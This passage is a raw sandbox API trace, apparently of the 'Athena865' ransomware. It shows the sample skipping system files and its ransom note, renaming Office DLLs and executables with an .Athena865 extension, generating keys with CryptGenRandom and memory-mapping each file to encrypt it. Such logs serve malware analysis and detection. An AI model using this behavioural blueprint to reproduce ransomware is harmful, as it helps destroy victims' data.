param_1="C:\\Program Files\\Microsoft Office\\Office14\\MSODCW.DLL.Athena865") returned 63 [0077.105] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSODCW.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\msodcw.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSODCW.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\msodcw.dll.athena865"), dwFlags=0x1) returned 1 [0077.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSODCW.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\msodcw.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0077.106] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=687968) returned 1 [0077.106] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0077.106] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0077.107] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0077.107] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0077.107] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0077.107] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0077.108] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa8260, lpName=0x0) returned 0x17c [0077.109] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa8260) returned 0x2d50000 [0077.132] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0077.133] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0077.133] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0077.133] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0077.133] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0077.133] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0077.133] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0077.133] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0077.133] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0077.133] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0077.133] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0077.133] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0077.134] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0077.134] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0077.139] CloseHandle (hObject=0x17c) returned 1 [0077.139] CloseHandle (hObject=0x154) returned 1 [0077.140] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0077.140] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0077.140] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0077.143] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4939000, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4939000, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x17b80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOHEV.DLL", cAlternateFileName="")) returned 1 [0077.143] lstrcmpiW (lpString1="MSOHEV.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0077.143] lstrcmpiW (lpString1="MSOHEV.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0077.143] lstrcmpiW (lpString1="MSOHEV.DLL", lpString2=".") returned 1 [0077.143] lstrcmpiW (lpString1="MSOHEV.DLL", lpString2="..") returned 1 [0077.143] lstrcmpiW (lpString1="MSOHEV.DLL", lpString2="windows") returned -1 [0077.143] lstrcmpiW (lpString1="MSOHEV.DLL", lpString2="bootmgr") returned 1 [0077.143] lstrcmpiW (lpString1="MSOHEV.DLL", lpString2="temp") returned -1 [0077.143] lstrcmpiW (lpString1="MSOHEV.DLL", lpString2="pagefile.sys") returned -1 [0077.143] lstrcmpiW (lpString1="MSOHEV.DLL", lpString2="boot") returned 1 [0077.143] lstrcmpiW (lpString1="MSOHEV.DLL", lpString2="ids.txt") returned 1 [0077.143] lstrcmpiW (lpString1="MSOHEV.DLL", lpString2="ntuser.dat") returned -1 [0077.143] lstrcmpiW (lpString1="MSOHEV.DLL", lpString2="perflogs") returned -1 [0077.143] lstrcmpiW (lpString1="MSOHEV.DLL", lpString2="MSBuild") returned 1 [0077.143] lstrlenW (lpString="MSOHEV.DLL") returned 10 [0077.143] lstrcpyW (in: lpString1=0x241e89e, lpString2="MSOHEV.DLL" | out: lpString1="MSOHEV.DLL") returned="MSOHEV.DLL" [0077.143] lstrlenW (lpString="MSOHEV.DLL") returned 10 [0077.143] lstrlenW (lpString="Athena865") returned 9 [0077.143] lstrcmpiW (lpString1="SOHEV.DLL", lpString2="Athena865") returned 1 [0077.143] lstrlenW (lpString=".dll") returned 4 [0077.143] lstrcmpiW (lpString1="MSOHEV.DLL", lpString2=".dll") returned 1 [0077.143] lstrlenW (lpString=".lnk") returned 4 [0077.143] lstrcmpiW (lpString1="MSOHEV.DLL", lpString2=".lnk") returned 1 [0077.143] lstrlenW (lpString=".ini") returned 4 [0077.143] lstrcmpiW (lpString1="MSOHEV.DLL", lpString2=".ini") returned 1 [0077.143] lstrlenW (lpString=".sys") returned 4 [0077.143] lstrcmpiW (lpString1="MSOHEV.DLL", lpString2=".sys") returned 1 [0077.143] lstrlenW (lpString="MSOHEV.DLL") returned 10 [0077.143] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\MSOHEV.DLL.Athena865") returned 63 [0077.144] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOHEV.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\msohev.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOHEV.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\msohev.dll.athena865"), dwFlags=0x1) returned 1 [0077.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOHEV.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\msohev.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0077.145] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=97152) returned 1 [0077.145] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0077.145] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0077.145] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0077.146] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0077.146] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0077.146] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0077.147] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x17e80, lpName=0x0) returned 0x17c [0077.148] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x17e80) returned 0x100000 [0077.152] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0077.152] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0077.152] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0077.152] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0077.152] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0077.153] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0077.153] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0077.153] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0077.153] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0077.153] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0077.153] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0077.153] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0077.153] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0077.153] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0077.154] CloseHandle (hObject=0x17c) returned 1 [0077.154] CloseHandle (hObject=0x154) returned 1 [0077.154] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0077.154] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0077.154] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0077.155] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4939000, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4939000, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x12d80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOHEVI.DLL", cAlternateFileName="")) returned 1 [0077.155] lstrcmpiW (lpString1="MSOHEVI.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0077.155] lstrcmpiW (lpString1="MSOHEVI.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0077.155] lstrcmpiW (lpString1="MSOHEVI.DLL", lpString2=".") returned 1 [0077.155] lstrcmpiW (lpString1="MSOHEVI.DLL", lpString2="..") returned 1 [0077.155] lstrcmpiW (lpString1="MSOHEVI.DLL", lpString2="windows") returned -1 [0077.155] lstrcmpiW (lpString1="MSOHEVI.DLL", lpString2="bootmgr") returned 1 [0077.155] lstrcmpiW (lpString1="MSOHEVI.DLL", lpString2="temp") returned -1 [0077.155] lstrcmpiW (lpString1="MSOHEVI.DLL", lpString2="pagefile.sys") returned -1 [0077.155] lstrcmpiW (lpString1="MSOHEVI.DLL", lpString2="boot") returned 1 [0077.155] lstrcmpiW (lpString1="MSOHEVI.DLL", lpString2="ids.txt") returned 1 [0077.155] lstrcmpiW (lpString1="MSOHEVI.DLL", lpString2="ntuser.dat") returned -1 [0077.155] lstrcmpiW (lpString1="MSOHEVI.DLL", lpString2="perflogs") returned -1 [0077.155] lstrcmpiW (lpString1="MSOHEVI.DLL", lpString2="MSBuild") returned 1 [0077.155] lstrlenW (lpString="MSOHEVI.DLL") returned 11 [0077.155] lstrcpyW (in: lpString1=0x241e89e, lpString2="MSOHEVI.DLL" | out: lpString1="MSOHEVI.DLL") returned="MSOHEVI.DLL" [0077.155] lstrlenW (lpString="MSOHEVI.DLL") returned 11 [0077.155] lstrlenW (lpString="Athena865") returned 9 [0077.155] lstrcmpiW (lpString1="OHEVI.DLL", lpString2="Athena865") returned 1 [0077.155] lstrlenW (lpString=".dll") returned 4 [0077.155] lstrcmpiW (lpString1="MSOHEVI.DLL", lpString2=".dll") returned 1 [0077.155] lstrlenW (lpString=".lnk") returned 4 [0077.155] lstrcmpiW (lpString1="MSOHEVI.DLL", lpString2=".lnk") returned 1 [0077.155] lstrlenW (lpString=".ini") returned 4 [0077.155] lstrcmpiW (lpString1="MSOHEVI.DLL", lpString2=".ini") returned 1 [0077.155] lstrlenW (lpString=".sys") returned 4 [0077.155] lstrcmpiW (lpString1="MSOHEVI.DLL", lpString2=".sys") returned 1 [0077.155] lstrlenW (lpString="MSOHEVI.DLL") returned 11 [0077.155] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\MSOHEVI.DLL.Athena865") returned 64 [0077.156] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOHEVI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\msohevi.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOHEVI.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\msohevi.dll.athena865"), dwFlags=0x1) returned 1 [0077.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOHEVI.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\msohevi.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0077.157] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=77184) returned 1 [0077.157] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0077.157] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0077.157] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0077.157] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0077.158] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0077.158] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0077.158] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13080, lpName=0x0) returned 0x17c [0077.160] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13080) returned 0x100000 [0077.163] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0077.163] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0077.163] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0077.163] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0077.163] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0077.163] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0077.164] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0077.164] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0077.164] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0077.164] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0077.164] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0077.164] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0077.164] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0077.164] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0077.165] CloseHandle (hObject=0x17c) returned 1 [0077.165] CloseHandle (hObject=0x154) returned 1 [0077.165] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0077.165] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0077.165] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0077.165] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a159300, ftCreationTime.dwHighDateTime=0x1ca91da, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a159300, ftLastWriteTime.dwHighDateTime=0x1ca91da, nFileSizeHigh=0x0, nFileSizeLow=0x15780, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOHTMED.EXE", cAlternateFileName="")) returned 1 [0077.165] lstrcmpiW (lpString1="MSOHTMED.EXE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0077.165] lstrcmpiW (lpString1="MSOHTMED.EXE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0077.165] lstrcmpiW (lpString1="MSOHTMED.EXE", lpString2=".") returned 1 [0077.165] lstrcmpiW (lpString1="MSOHTMED.EXE", lpString2="..") returned 1 [0077.165] lstrcmpiW (lpString1="MSOHTMED.EXE", lpString2="windows") returned -1 [0077.166] lstrcmpiW (lpString1="MSOHTMED.EXE", lpString2="bootmgr") returned 1 [0077.166] lstrcmpiW (lpString1="MSOHTMED.EXE", lpString2="temp") returned -1 [0077.166] lstrcmpiW (lpString1="MSOHTMED.EXE", lpString2="pagefile.sys") returned -1 [0077.166] lstrcmpiW (lpString1="MSOHTMED.EXE", lpString2="boot") returned 1 [0077.166] lstrcmpiW (lpString1="MSOHTMED.EXE", lpString2="ids.txt") returned 1 [0077.166] lstrcmpiW (lpString1="MSOHTMED.EXE", lpString2="ntuser.dat") returned -1 [0077.166] lstrcmpiW (lpString1="MSOHTMED.EXE", lpString2="perflogs") returned -1 [0077.166] lstrcmpiW (lpString1="MSOHTMED.EXE", lpString2="MSBuild") returned 1 [0077.166] lstrlenW (lpString="MSOHTMED.EXE") returned 12 [0077.166] lstrcpyW (in: lpString1=0x241e89e, lpString2="MSOHTMED.EXE" | out: lpString1="MSOHTMED.EXE") returned="MSOHTMED.EXE" [0077.166] lstrlenW (lpString="MSOHTMED.EXE") returned 12 [0077.166] lstrlenW (lpString="Athena865") returned 9 [0077.166] lstrcmpiW (lpString1="HTMED.EXE", lpString2="Athena865") returned 1 [0077.166] lstrlenW (lpString=".dll") returned 4 [0077.166] lstrcmpiW (lpString1="MSOHTMED.EXE", lpString2=".dll") returned 1 [0077.166] lstrlenW (lpString=".lnk") returned 4 [0077.166] lstrcmpiW (lpString1="MSOHTMED.EXE", lpString2=".lnk") returned 1 [0077.166] lstrlenW (lpString=".ini") returned 4 [0077.166] lstrcmpiW (lpString1="MSOHTMED.EXE", lpString2=".ini") returned 1 [0077.166] lstrlenW (lpString=".sys") returned 4 [0077.166] lstrcmpiW (lpString1="MSOHTMED.EXE", lpString2=".sys") returned 1 [0077.166] lstrlenW (lpString="MSOHTMED.EXE") returned 12 [0077.166] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\MSOHTMED.EXE.Athena865") returned 65 [0077.166] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOHTMED.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\msohtmed.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOHTMED.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\msohtmed.exe.athena865"), dwFlags=0x1) returned 1 [0077.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSOHTMED.EXE.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\msohtmed.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0077.167] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=87936) returned 1 [0077.167] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0077.168] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0077.168] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0077.168] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0077.168] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0077.168] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0077.168] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x15a80, lpName=0x0) returned 0x17c [0077.170] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x15a80) returned 0x100000 [0077.173] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0077.174] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0077.174] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0077.174] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0077.174] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0077.174] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0077.174] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0077.174] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0077.174] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0077.174] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0077.174] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0077.174] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0077.174] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0077.174] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0077.175] CloseHandle (hObject=0x17c) returned 1 [0077.175] CloseHandle (hObject=0x154) returned 1 [0077.175] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0077.175] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0077.175] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0077.176] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa94b500, ftCreationTime.dwHighDateTime=0x1caca29, ftLastAccessTime.dwLowDateTime=0x593a1b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa94b500, ftLastWriteTime.dwHighDateTime=0x1caca29, nFileSizeHigh=0x0, nFileSizeLow=0xa398, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOSTYLE.DLL", cAlternateFileName="")) returned 1 [0077.176] lstrcmpiW (lpString1="MSOSTYLE.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0077.176] lstrcmpiW (lpString1="MSOSTYLE.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0077.176] lstrcmpiW (lpString1="MSOSTYLE.DLL", lpString2=".") returned 1 [0077.176] lstrcmpiW (lpString1="MSOSTYLE.DLL", lpString2="..") returned 1 [0077.176] lstrcmpiW (lpString1="MSOSTYLE.DLL", lpString2="windows") returned -1 [0077.176] lstrcmpiW (lpString1="MSOSTYLE.DLL", lpString2="bootmgr") returned 1 [0077.176] lstrcmpiW (lpString1="MSOSTYLE.DLL", lpString2="temp") returned -1 [0077.176] lstrcmpiW (lpString1="MSOSTYLE.DLL", lpString2="pagefile.sys") returned -1 [0077.176] lstrcmpiW (lpString1="MSOSTYLE.DLL", lpString2="boot") returned 1 [0077.176] lstrcmpiW (lpString1="MSOSTYLE.DLL", lpString2="ids.txt") returned 1 [0077.176] lstrcmpiW (lpString1="MSOSTYLE.DLL", lpString2="ntuser.dat") returned -1 [0077.176] lstrcmpiW (lpString1="MSOSTYLE.DLL", lpString2="perflogs") returned -1 [0077.176] lstrcmpiW (lpString1="MSOSTYLE.DLL", lpString2="MSBuild") returned 1 [0077.176] lstrlenW (lpString="MSOSTYLE.DLL") returned 12 [0077.176] lstrcpyW (in: lpString1=0x241e89e, lpString2="MSOSTYLE.DLL" | out: lpString1="MSOSTYLE.DLL") returned="MSOSTYLE.DLL" [0077.176] lstrlenW (lpString="MSOSTYLE.DLL") returned 12 [0077.176] lstrlenW (lpString="Athena865") returned 9 [0077.176] lstrcmpiW (lpString1="STYLE.DLL", lpString2="Athena865") returned 1 [0077.177] lstrlenW (lpString=".dll") returned 4 [0077.177] lstrcmpiW (lpString1="MSOSTYLE.DLL", lpString2=".dll") returned 1 [0077.177] lstrlenW (lpString=".lnk") returned 4 [0077.177] lstrcmpiW (lpString1="MSOSTYLE.DLL", lpString2=".lnk") returned 1 [0077.177] lstrlenW (lpString=".ini") returned 4 [0077.177] lstrcmpiW (lpString1="MSOSTYLE.DLL", lpString2=".ini") returned 1 [0077.177] lstrlenW (lpString=".sys") returned 4 [0077.177] lstrcmpiW (lpString1="MSOSTYLE.DLL", lpString2=".sys") returned 1 [0077.177] lstrlenW (lpString="MSOSTYLE.DLL") returned 12 [0077.177] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\MSOSTYLE.DLL.Athena865") returned 65 [0077.177] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft 